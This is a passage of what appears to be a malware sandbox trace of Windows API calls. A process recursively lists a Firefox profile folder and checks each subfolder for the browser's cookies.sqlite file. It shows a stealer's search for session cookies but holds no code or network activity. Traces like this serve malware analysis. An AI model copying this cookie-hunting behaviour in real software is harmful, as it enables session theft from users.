ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf33be400, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf33be400, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0110.629] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f925320, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf33be400, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf33be400, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.629] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.629] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4ee9f7b0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x4ee9f7b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x4eebf380, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarks-2017-06-30_5.json", cAlternateFileName="BOOKMA~1.JSO")) returned 1 [0110.629] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.629] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf328d900, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf328d900, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf32d9bc0, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarks-2017-07-26_5.json", cAlternateFileName="BOOKMA~2.JSO")) returned 1 [0110.629] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.629] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf328d900, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf328d900, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf32d9bc0, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarks-2017-07-26_5.json", cAlternateFileName="BOOKMA~2.JSO")) returned 0 [0110.629] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0110.630] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e540 | out: hHeap=0x9770000) returned 1 [0110.630] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0110.630] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0110.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f084360, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f084360, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf441bb40, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cert8.db", cAlternateFileName="")) returned 1 [0110.630] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x508a4200, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="compatibility.ini", cAlternateFileName="COMPAT~1.INI")) returned 1 [0110.630] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4082be00, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x4082be00, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x40d3acc0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-prefs.sqlite", cAlternateFileName="CONTEN~1.SQL")) returned 1 [0110.630] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x402f6de0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x402f6de0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf35d3740, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite", cAlternateFileName="COOKIE~1.SQL")) returned 1 [0110.630] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe1ffc750, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe1ffc750, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite-shm", cAlternateFileName="COOKIE~3.SQL")) returned 1 [0110.630] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe1ffc750, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3249070, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x8038, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite-wal", cAlternateFileName="COOKIE~2.SQL")) returned 1 [0110.630] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43eeb800, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x43eeb800, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xfea06b80, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="downloads.sqlite", cAlternateFileName="DOWNLO~1.SQL")) returned 1 [0110.630] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f2e5960, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f2e5960, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3f2e5960, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions.ini", cAlternateFileName="EXTENS~1.INI")) returned 1 [0110.630] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ee48ec0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3ee48ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3f2996a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x70000, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions.sqlite", cAlternateFileName="EXTENS~1.SQL")) returned 1 [0110.630] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd4cf20d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xd4cf20d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xd50f65f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="formhistory.sqlite", cAlternateFileName="FORMHI~1.SQL")) returned 1 [0110.630] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.630] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55ffb030, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x55ffb030, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x55ffb030, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="healthreport", cAlternateFileName="HEALTH~1")) returned 1 [0110.630] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.630] lstrlenW (lpString="healthreport") returned 12 [0110.630] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="healthreport" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport" [0110.630] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0110.630] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x59 [0110.631] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e480 [0110.631] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport", lpDst=0x9a6e480, nSize=0x59 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport") returned 0x59 [0110.631] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport") returned 88 [0110.631] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.631] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e540 [0110.631] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\cookies.sqlite" [0110.631] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\cookies.sqlite", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="BOOKMA~2.JSO")) returned 0xffffffffffffffff [0110.631] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\*" [0110.631] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55ffb030, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x55ffb030, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x55ffb030, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0110.631] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55ffb030, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x55ffb030, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x55ffb030, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.631] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.631] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55ffb030, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x55ffb030, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x55ffb030, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0110.631] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0110.631] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e540 | out: hHeap=0x9770000) returned 1 [0110.631] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0110.631] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0110.631] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x560472f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x560472f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x574a8f50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x118000, dwReserved0=0x0, dwReserved1=0x0, cFileName="healthreport.sqlite", cAlternateFileName="HEALTH~1.SQL")) returned 1 [0110.631] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.631] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="indexedDB", cAlternateFileName="INDEXE~1")) returned 1 [0110.631] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.631] lstrlenW (lpString="indexedDB") returned 9 [0110.631] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="indexedDB" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB" [0110.631] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0110.632] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x56 [0110.632] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e480 [0110.632] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB", lpDst=0x9a6e480, nSize=0x56 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB") returned 0x56 [0110.632] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB") returned 85 [0110.632] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.632] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e540 [0110.632] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\cookies.sqlite" [0110.632] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\cookies.sqlite", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0110.632] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\*" [0110.632] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0110.632] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.632] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.632] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 1 [0110.632] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.632] lstrlenW (lpString="moz-safe-about+home") returned 19 [0110.632] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB", pszFile="moz-safe-about+home" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home" [0110.632] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0110.632] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x6a [0110.632] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xd4) returned 0x9a91aa0 [0110.632] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home", lpDst=0x9a91aa0, nSize=0x6a | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home") returned 0x6a [0110.632] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home") returned 105 [0110.632] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.632] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91b80 [0110.632] PathCombineW (in: pszDest=0x9a91b80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\cookies.sqlite" [0110.632] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\cookies.sqlite", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="AppDaETAdzjz")) returned 0xffffffffffffffff [0110.633] PathCombineW (in: pszDest=0x9a91b80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\*" [0110.633] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, 